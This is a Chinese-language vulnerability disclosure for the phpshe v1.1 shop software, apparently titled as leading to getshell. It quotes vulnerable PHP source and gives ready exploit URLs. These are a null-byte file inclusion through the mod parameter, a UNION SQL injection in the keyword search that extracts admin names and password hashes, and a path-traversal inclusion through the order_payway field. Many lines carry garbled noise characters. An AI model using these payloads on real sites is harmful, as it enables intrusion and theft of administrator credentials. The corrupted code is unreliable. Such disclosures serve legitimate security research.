phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
5 O, H8 S4 o5 J" J- d/* ========================
2 T2 \$ c5 p/ `1 ?/ |: d/* By: : Kn1f3
/* E-Mail : 681796@qq.com
+ i/ [8 [- k! V; [3 H, b/*******************************************************/
0×00 整体大概参数传输
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" L( ]; P" r$ G( x: E//common.php
' y/ N* b2 p4 fif (get_magic_quotes_gpc()) {
! n. p) S/ p( P  }! B8 \!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
9 n' D3 h5 O& L* b! n7 Y+ ]# x!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
" e/ {5 c: z. s) n!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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& {. E1 L7 H- s0 i//首页文件
! t% _3 o: n5 V: K<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
) S0 \) J7 A: _0 {include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
' f4 _+ a+ v1 `0 x# i" k?>
- D/ q( Z. R7 C# G2 s5 T9 \) k//common 文件 第15行开始
0 w5 U3 n5 z( [/ V4 [url路由配置
2 N% x# W4 [  W1 B2 r$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
3 d; d( d0 Q  o& G7 w0 g0 ^$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

! I2 i! d$ y0 L" Z! q/ k3 s" g- e* n 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
5 J! w  B3 o; }+ P3 `' l) U) D$category_id = intval($id);
; H0 p* w) S$ d$info = $db->pe_select('category', array('category_id'=>$category_id));
* @( U" E( k) p* q; q! g  r//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ s# o; o! X1 A3 s0 A5 B" Q- ?}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
/ }! w* v2 s: f  T1 w/ F7 W2 e- U1 m$orderby = explode('_', $_g_orderby);
) W# G2 F  n4 s- K$ H+ N$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
" y" ?7 Q* t8 D+ E1 O}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
& _+ |5 S* n0 a//当前路径
$nowpath = category_path($category_id);
) [. I3 t$ @: n2 Z$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
5 Y) f/ D$ d1 t* G3 `{
, E( G+ k/ o) V, b+ c- l1 b3 Q//处理条件语句
$sqlwhere = $this->_dowhere($where);
; [7 q4 _: v8 Breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" Q8 ]7 s' v( A; E}
& T7 `5 E0 j. K7 b) I/ o//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

' i& j: s- J5 G( c; \. N$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

  z! }) W5 C! M1 ?) cforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

$ N; V) M4 O0 n8 Gif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; r7 g1 I4 g, [+ C" ]foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
1 N2 X6 Y: R+ C, i4 z) q, n

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

5 N! R( F  t, C, T}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

1 U7 I: d/ E" Q; R/ Npe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

; E$ \; j/ q* c- T; v7 a; _include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>